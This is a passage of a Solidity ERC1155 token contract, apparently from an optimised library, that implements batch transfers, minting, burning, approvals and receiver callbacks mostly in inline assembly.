caller(), from, to)\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n // Do the {onERC1155Received} check if `to` is a smart contract.\n if extcodesize(to) {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155Received(address,address,uint256,uint256,bytes)`.\n mstore(m, 0xf23a6e61)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), from)\n mstore(add(m, 0x60), id)\n mstore(add(m, 0x80), amount)\n mstore(add(m, 0xa0), 0xa0)\n calldatacopy(add(m, 0xc0), sub(data.offset, 0x20), add(0x20, data.length))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), add(0xc4, data.length), m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xf23a6e61))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n }\n\n /// @dev Transfers `amounts` of `ids` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - `ids` and `amounts` must have the same length.\n /// - If the caller is not `from`,\n /// it must be approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) public virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(ids.length, amounts.length)) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, from))\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, to))\n mstore(0x20, fromSlotSeed)\n // Clear the upper 96 bits.\n from := shr(96, fromSlotSeed)\n to := shr(96, toSlotSeed)\n // Revert if `to` is the zero address.\n if iszero(to) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // If the caller is not `from`, do the authorization check.\n if iszero(eq(caller(), from)) {\n mstore(0x00, caller())\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, ids.length)\n for { let i := 0 } iszero(eq(i, end)) { i := add(i, 0x20) } {\n let amount := calldataload(add(amounts.offset, i))\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x20, fromSlotSeed)\n mstore(0x00, calldataload(add(ids.offset, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, ids.length))\n let o := add(m, 0x40)\n calldatacopy(o, sub(ids.offset, 0x20), n)\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, n))\n o := add(o, n)\n n := add(0x20, shl(5, amounts.length))\n calldatacopy(o, sub(amounts.offset, 0x20), n)\n n := sub(add(o, n), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), from, to)\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransferCalldata(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n // Do the {onERC1155BatchReceived} check if `to` is a smart contract.\n if extcodesize(to) {\n let m := mload(0x40)\n // Prepare the calldata.\n // `onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)`.\n mstore(m, 0xbc197c81)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), from)\n // Copy the `ids`.\n mstore(add(m, 0x60), 0xa0)\n let n := add(0x20, shl(5, ids.length))\n let o := add(m, 0xc0)\n calldatacopy(o, sub(ids.offset, 0x20), n)\n // Copy the `amounts`.\n let s := add(0xa0, n)\n mstore(add(m, 0x80), s)\n o := add(o, n)\n n := add(0x20, shl(5, amounts.length))\n calldatacopy(o, sub(amounts.offset, 0x20), n)\n // Copy the `data`.\n mstore(add(m, 0xa0), add(s, n))\n o := add(o, n)\n n := add(0x20, data.length)\n calldatacopy(o, sub(data.offset, 0x20), n)\n n := sub(add(o, n), add(m, 0x1c))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), n, m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xbc197c81))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n }\n\n /// @dev Returns the amounts of `ids` for `owners.\n ///\n /// Requirements:\n /// - `owners` and `ids` must have the same length.\n function balanceOfBatch(address[] calldata owners, uint256[] calldata ids)\n public\n view\n virtual\n returns (uint256[] memory balances)\n {\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(ids.length, owners.length)) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n balances := mload(0x40)\n mstore(balances, ids.length)\n let o := add(balances, 0x20)\n let end := shl(5, ids.length)\n mstore(0x40, add(end, o))\n // Loop through all the `ids` and load the balances.\n for { let i := 0 } iszero(eq(i, end)) { i := add(i, 0x20) } {\n let owner := calldataload(add(owners.offset, i))\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, shl(96, owner)))\n mstore(0x00, calldataload(add(ids.offset, i)))\n mstore(add(o, i), sload(keccak256(0x00, 0x40)))\n }\n }\n }\n\n /// @dev Returns true if this contract implements the interface defined by `interfaceId`.\n /// See: https://eips.ethereum.org/EIPS/eip-165\n /// This function call must use less than 30000 gas.\n function supportsInterface(bytes4 interfaceId) public view virtual returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n let s := shr(224, interfaceId)\n // ERC165: 0x01ffc9a7, ERC1155: 0xd9b67a26, ERC1155MetadataURI: 0x0e89341c.\n result := or(or(eq(s, 0x01ffc9a7), eq(s, 0xd9b67a26)), eq(s, 0x0e89341c))\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL MINT FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Mints `amount` of `id` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function _mint(address to, uint256 id, uint256 amount, bytes memory data) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(address(0), to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, to)\n mstore(0x00, id)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x00, id)\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), 0, shr(96, to_))\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(address(0), to, _single(id), _single(amount), data);\n }\n if (_hasCode(to)) _checkOnERC1155Received(address(0), to, id, amount, data);\n }\n\n /// @dev Mints `amounts` of `ids` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `ids` and `amounts` must have the same length.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function _batchMint(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(address(0), to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // Loop through all the `ids` and update the balances.\n {\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, to_))\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Increase and store the updated balance of `to`.\n {\n mstore(0x00, mload(add(ids, i)))\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), 0, shr(96, to_))\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(address(0), to, ids, amounts, data);\n }\n if (_hasCode(to)) _checkOnERC1155BatchReceived(address(0), to, ids, amounts, data);\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL BURN FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Equivalent to `_burn(address(0), from, id, amount)`.\n function _burn(address from, uint256 id, uint256 amount) internal virtual {\n _burn(address(0), from, id, amount);\n }\n\n /// @dev Destroys `amount` of `id` from `from`.\n ///\n /// Requirements:\n /// - `from` must have at least `amount` of `id`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n ///\n /// Emits a {Transfer} event.\n function _burn(address by, address from, uint256 id, uint256 amount) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, address(0), _single(id), _single(amount), \"\");\n }\n /// @solidity memory-safe-assembly\n assembly {\n let from_ := shl(96, from)\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n if iszero(or(iszero(shl(96, by)), eq(shl(96, by), from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Decrease and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Emit a {TransferSingle} event.\n mstore(0x00, id)\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), shr(96, from_), 0)\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, address(0), _single(id), _single(amount), \"\");\n }\n }\n\n /// @dev Equivalent to `_batchBurn(address(0), from, ids, amounts)`.\n function _batchBurn(address from, uint256[] memory ids, uint256[] memory amounts)\n internal\n virtual\n {\n _batchBurn(address(0), from, ids, amounts);\n }\n\n /// @dev Destroys `amounts` of `ids` from `from`.\n ///\n /// Requirements:\n /// - `ids` and `amounts` must have the same length.\n /// - `from` must have at least `amounts` of `ids`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n ///\n /// Emits a {TransferBatch} event.\n function _batchBurn(address by, address from, uint256[] memory ids, uint256[] memory amounts)\n internal\n virtual\n {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, address(0), ids, amounts, \"\");\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let from_ := shl(96, from)\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Decrease and store the updated balance of `to`.\n {\n mstore(0x00, mload(add(ids, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), shr(96, from_), 0)\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, address(0), ids, amounts, \"\");\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL APPROVAL FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Approve or remove the `operator` as an operator for `by`,\n /// without authorization checks.\n ///\n /// Emits a {ApprovalForAll} event.\n function _setApprovalForAll(address by, address operator, bool isApproved) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Convert to 0 or 1.\n isApproved := iszero(iszero(isApproved))\n // Update the `isApproved` for (`by`, `operator`).\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, by)\n mstore(0x00, operator)\n sstore(keccak256(0x0c, 0x34), isApproved)\n // Emit the {ApprovalForAll} event.\n mstore(0x00, isApproved)\n let m := shr(96, not(0))\n log3(0x00, 0x20, _APPROVAL_FOR_ALL_EVENT_SIGNATURE, and(m, by), and(m, operator))\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL TRANSFER FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Equivalent to `_safeTransfer(address(0), from, to, id, amount, data)`.\n function _safeTransfer(address from, address to, uint256 id, uint256 amount, bytes memory data)\n internal\n virtual\n {\n _safeTransfer(address(0), from, to, id, amount, data);\n }\n\n /// @dev Transfers `amount` of `id` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function _safeTransfer(\n address by,\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let from_ := shl(96, from)\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, from_))\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, to_))\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x20, amount)\n // forgefmt: disable-next-line\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), shr(96, from_), shr(96, to_))\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n if (_hasCode(to)) _checkOnERC1155Received(from, to, id, amount, data);\n }\n\n /// @dev Equivalent to `_safeBatchTransfer(address(0), from, to, ids, amounts, data)`.\n function _safeBatchTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n _safeBatchTransfer(address(0), from, to, ids, amounts, data);\n }\n\n /// @dev Transfers `amounts` of `ids` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `ids` and `amounts` must have the same length.\n /// - `from` must have at least `amounts` of `ids`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function _safeBatchTransfer(\n address by,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let from_ := shl(96, from)\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, from_)\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, to_)\n mstore(0x20, fromSlotSeed)\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x20, fromSlotSeed)\n mstore(0x00, mload(add(ids, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), shr(96, from_), shr(96, to_))\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, ids, amounts, data);\n }\n if (_hasCode(to)) _checkOnERC1155BatchReceived(from, to, ids, amounts, data);\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* HOOKS FOR OVERRIDING */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Override this function to return true if `_beforeTokenTransfer` is used.\n /// The is to help the compiler avoid producing dead bytecode.\n function _useBeforeTokenTransfer() internal view virtual returns (bool) {\n return false;\n }\n\n /// @dev Hook that is called before any token transfer.\n /// This includes minting and burning, as well as batched variants.\n ///\n /// The same hook is called on both single and batched variants.\n /// For single transfers, the length of the `id` and `amount` arrays are 1.\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {}\n\n /// @dev Override this function to return true if `_afterTokenTransfer` is used.\n /// The is to help the compiler avoid producing dead bytecode.\n function _useAfterTokenTransfer() internal view virtual returns (bool) {\n return false;\n }\n\n /// @dev Hook that is called after any token transfer.\n /// This includes minting and burning, as well as batched variants.\n ///\n /// The same hook is called on both single and batched variants.\n /// For single transfers, the length of the `id` and `amount` arrays are 1.\n function _afterTokenTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {}\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* PRIVATE HELPERS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Helper for calling the `_afterTokenTransfer` hook.\n /// The is to help the compiler avoid producing dead bytecode.\n function _afterTokenTransferCalldata(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) private {\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, ids, amounts, data);\n }\n }\n\n /// @dev Returns if `a` has bytecode of non-zero length.\n function _hasCode(address a) private view returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n result := extcodesize(a) // Can handle dirty upper bits.\n }\n }\n\n /// @dev Perform a call to invoke {IERC1155Receiver-onERC1155Received} on `to`.\n /// Reverts if the target does not support the function correctly.\n function _checkOnERC1155Received(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) private {\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155Received(address,address,uint256,uint256,bytes)`.\n mstore(m, 0xf23a6e61)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), shr(96, shl(96, from)))\n mstore(add(m, 0x60), id)\n mstore(add(m, 0x80), amount)\n mstore(add(m, 0xa0), 0xa0)\n let n := mload(data)\n mstore(add(m, 0xc0), n)\n if n { pop(staticcall(gas(), 4, add(data, 0x20), n, add(m, 0xe0), n)) }\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), add(0xc4, n), m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xf23a6e61))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /// @dev Perform a call to invoke {IERC1155Receiver-onERC1155BatchReceived} on `to`.\n /// Reverts if the target does not support the function correctly.\n function _checkOnERC1155BatchReceived(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) private {\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)`.\n mstore(m, 0xbc197c81)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), shr(96, shl(96, from)))\n // Copy the `ids`.\n mstore(add(m, 0x60), 0xa0)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0xc0)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n let s := add(0xa0, returndatasize())\n mstore(add(m, 0x80), s)\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n // Copy the `data`.\n mstore(add(m, 0xa0), add(s, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, mload(data))\n pop(staticcall(gas(), 4, data, n, o, n))\n n := sub(add(o, returndatasize()), add(m, 0x1c))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), n, m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xbc197c81))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /// @dev Returns 